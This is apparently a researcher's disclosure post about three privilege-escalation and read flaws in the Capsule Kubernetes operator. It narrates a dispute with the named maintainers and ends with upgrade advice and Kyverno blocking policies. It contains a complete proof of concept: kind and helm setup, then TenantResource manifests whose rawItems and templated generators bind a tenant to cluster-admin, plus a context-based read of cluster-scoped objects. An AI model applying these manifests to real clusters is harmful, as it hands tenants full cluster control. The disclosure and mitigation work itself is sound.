"Delusional": how Capsule's developers failed to triage two cluster-admin escalations
A namespace-scoped user could grant itself cluster-admin on a default Capsule install, two different ways, plus read fields of any cluster-scoped object a third way. The developers’ first reply was “prompt better.” The last was “Delusional. You are being blocked from any further reporting.” Seven versions later they shipped a patch for the two critical bugs, citing a GHSA filed much later, and rated a cluster takeover Moderate. The third finding is still unpatched as of today.
On the Capsule operator
A Kubernetes operator is a custom controller. You create an object, the operator sees it and does privileged work to make the cluster match. Capsule does multi-tenancy: a cluster admin carves a shared cluster into tenants, each tenant owns a set of namespaces, and teams share hardware without seeing each other’s workloads.
TenantResource is the object that allows all three bugs. A tenant creates it in one namespace, to replicate resources across the other ns they own.
The dispute, briefly
TLDR of the crits: namespaced user creates object TenantResource, which can make operator create cluster role binding to “cluster admin” to this user. Or any user. Or absolutely any other cluster resource. Yep. That bad.
The developers who I had the “pleasure” of dealing with are Oliver Bähler (oliverbaehler) and Dario Tranchitella (prometherion).
Oliver at first dismissed report with “Please prompt better.”
Then Dario replicated the bug and said the real issue was that I was “not using the required option to avoid such a misbehavior.” The option is spec.serviceAccount on the TenantResource. But the attacker writes the malicious TenantResource; telling the attacker they should have set the safe field on their own attack object is telling someone their SQL injection vulnerability does not count because the attacker should have chosen not to put a quote in the input.
I pointed out that this is a known vulnerability type for Kubernetes operators, and in fact, a very similar vulnerability was already reported to capsule: https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72. The same create TenantResource = create ClusterRoleBinding vector. And so that vulnerability was still effectively unfixed, as I demonstrated.
Final response from Oliver: “Okay so you rereport a CVE which is already known? Delusional. You are being blocked from any further reporting.”
So, Capsule’s developers apparently do not understand the concept of an “incomplete fix.”
The screenshots with full GHSA threads: GHSA-284c-vrj3-w276 GHSA-wxv6-xvjm-295x GHSA-wp9j-g6pq-8rp8
Vulnerability
TenantResource has three fields a tenant controls that the operator acts on with its own privileges:
rawItems[]- literal objects the operator applies. A tenant can put aClusterRoleBindinghere.generators[]- a Go template, evaluated with the Sprig function map, that renders objects the operator applies. Same reach asrawItems, plus templating to dodge the operator’s adoption check on pre-existing objects.context.resources[]- names objects the operator fetches so the template can read them. Name a cluster-scoped object the tenant cannot read, and the operator reads it and writes the result into the tenant’s own namespace.
The first two are cluster-admin escalations. The third is a cluster-scoped read primitive.
PoC
Cluster preparation (kind cluster, Capsule, tenant onboarding)
kind create cluster --image kindest/node:v1.31.0 --name capsule-poc --kubeconfig ./kubeconfig
export KUBECONFIG=$PWD/kubeconfig
helm upgrade --install capsule oci://ghcr.io/projectcapsule/charts/capsule \
--version 0.13.1 \
--namespace capsule-system --create-namespace \
--set manager.image.tag=v0.13.1 \
--set certManager.generateCertificates=false \
--set tls.create=true --set tls.enableController=true \
--wait
kubectl -n capsule-system rollout status deploy/capsule-controller-manager --timeout=120s
# admin onboards a tenant whose owner is the ServiceAccount tenant-bootstrap:alice
kubectl create ns tenant-bootstrap
kubectl -n tenant-bootstrap create sa alice
kubectl apply -f - <<'EOF'
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata: { name: alice }
spec:
owners:
- kind: ServiceAccount
name: system:serviceaccount:tenant-bootstrap:alice
---
apiVersion: capsule.clastix.io/v1beta2
kind: TenantOwner
metadata: { name: alice-sa }
spec:
kind: ServiceAccount
name: system:serviceaccount:tenant-bootstrap:alice
aggregate: true
EOF
# mint alice's token and a kubeconfig that carries only that identity
SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
CA=$(kubectl config view --minify --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}')
TOKEN=$(kubectl -n tenant-bootstrap create token alice --duration=24h)
cat > kubeconfig-alice <<EOF
apiVersion: v1
kind: Config
clusters: [{name: kind, cluster: {server: ${SERVER}, certificate-authority-data: ${CA}}}]
contexts: [{name: alice, context: {cluster: kind, user: alice, namespace: alice-ns}}]
current-context: alice
users: [{name: alice, user: {token: ${TOKEN}}}]
EOF
# alice creates her own namespace; Capsule's webhook attaches the tenant label
kubectl --kubeconfig=./kubeconfig-alice create namespace alice-ns
# and create on TenantResource in her namespace
kubectl -n alice-ns create role alice-tr --verb=create,get,list --resource=tenantresources.capsule.clastix.io
kubectl -n alice-ns create rolebinding alice-tr --role=alice-tr --serviceaccount=tenant-bootstrap:aliceFrom here, --kubeconfig=./kubeconfig-alice is alice, the tenant in this demo. Inside alice-ns she holds create on TenantResource.
1. rawItems: apply a ClusterRoleBinding. Alice submits a TenantResource whose rawItems[] holds a literal ClusterRoleBinding binding her ServiceAccount to cluster-admin.
kubectl --kubeconfig=./kubeconfig-alice apply -f - <<'EOF'
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata: { name: f1, namespace: alice-ns }
spec:
resyncPeriod: 10s
resources:
- rawItems:
- apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata: { name: pwn-alice-cluster-admin }
subjects:
- kind: ServiceAccount
name: alice
namespace: tenant-bootstrap
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
EOFWait one resync, then check what alice can do:
kubectl --kubeconfig=./kubeconfig-alice auth can-i get secrets -n kube-system
# yesEasy peasy.
2. generators: render the same binding from a template. The generators path is the second door. The operator evaluates a Go template with the Sprig function map mounted, so alice uses a random suffix to dodge the operator’s adoption check on pre-existing objects.
kubectl --kubeconfig=./kubeconfig-alice apply -f - <<'EOF'
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata: { name: f1b-crb, namespace: alice-ns }
spec:
resyncPeriod: 10s
resources:
- generators:
- missingKey: zero
template: |
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: f1b-alice-clusteradmin-{{ randAlphaNum 8 | lower }}
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: alice
namespace: tenant-bootstrap
EOFSame result. status.processedItems lists the rendered ClusterRoleBinding, and alice’s kube-system read works.
3. context: read a cluster-scoped object’s values. The third vulnerability is nothing in comparison, but it is still there. The context.resources[] names objects the operator fetches so the template can use them. Name a cluster-scoped object alice cannot read, and the operator reads it for her, then writes the result into a ConfigMap in her own namespace.
Stage a resource as admin to exfiltrate later as alice:
kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata: { name: f1c-witness-clusterrole }
rules:
- apiGroups: [""]
resources: ["F1C-WITNESS-CLUSTER-SECRET-MATERIAL"]
verbs: ["get"]
EOFAlice pulls it into her namespace:
kubectl --kubeconfig=./kubeconfig-alice apply -f - <<'EOF'
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata: { name: f1c, namespace: alice-ns }
spec:
resyncPeriod: 10s
resources:
- generators:
- missingKey: zero
template: |
---
apiVersion: v1
kind: ConfigMap
metadata: { name: f1c-leak, namespace: alice-ns }
data:
clusterrole-rules: |-
{{- range $r := (index .clusterrole 0).rules }}
{{ $r }}
{{- end }}
context:
resources:
- apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
name: f1c-witness-clusterrole
index: clusterrole
EOF
kubectl --kubeconfig=./kubeconfig-alice -n alice-ns get configmap f1c-leak -o yaml
# data.clusterrole-rules contains F1C-WITNESS-CLUSTER-SECRET-MATERIALMitigation
Delete Capsule. Really.
But if you absolutely have to keep it, do two things.
Upgrade to v0.13.8 or later - that closes the two escalation paths (rawItems, generators). To fix the third issue: decide whether tenants need TenantResource at all. If they do not, block its creation outright at admission:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: block-tenantresource
spec:
validationFailureAction: Enforce
background: false
rules:
- name: no-tenantresource
match:
any:
- resources:
kinds:
- capsule.clastix.io/*/TenantResource
validate:
message: "TenantResource is disabled on this cluster"
deny: {}If tenants do need TenantResource, validate only namespaced resources are allowed to be used:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: tenantresource-allowlist
spec:
validationFailureAction: Enforce
background: false
rules:
- name: allowlist-namespaced-kinds
match:
any:
- resources:
kinds:
- capsule.clastix.io/*/TenantResource
validate:
message: "TenantResource may only reference an allowlisted namespaced kind"
foreach:
- list: "request.object.spec.resources[]"
foreach:
- list: "element.rawItems[]"
deny:
conditions:
all:
- key: "{{ element.kind }}"
operator: AnyNotIn
value: [ConfigMap, Secret, Service, Deployment, StatefulSet, DaemonSet, Ingress, NetworkPolicy, ResourceQuota, LimitRange, ServiceAccount, Role, RoleBinding, PersistentVolumeClaim, Job, CronJob, Pod]
- list: "element.context.resources[]"
deny:
conditions:
all:
- key: "{{ element.kind }}"
operator: AnyNotIn
value: [ConfigMap, Secret, Service, Deployment, StatefulSet, DaemonSet, Ingress, NetworkPolicy, ResourceQuota, LimitRange, ServiceAccount, Role, RoleBinding, PersistentVolumeClaim, Job, CronJob, Pod]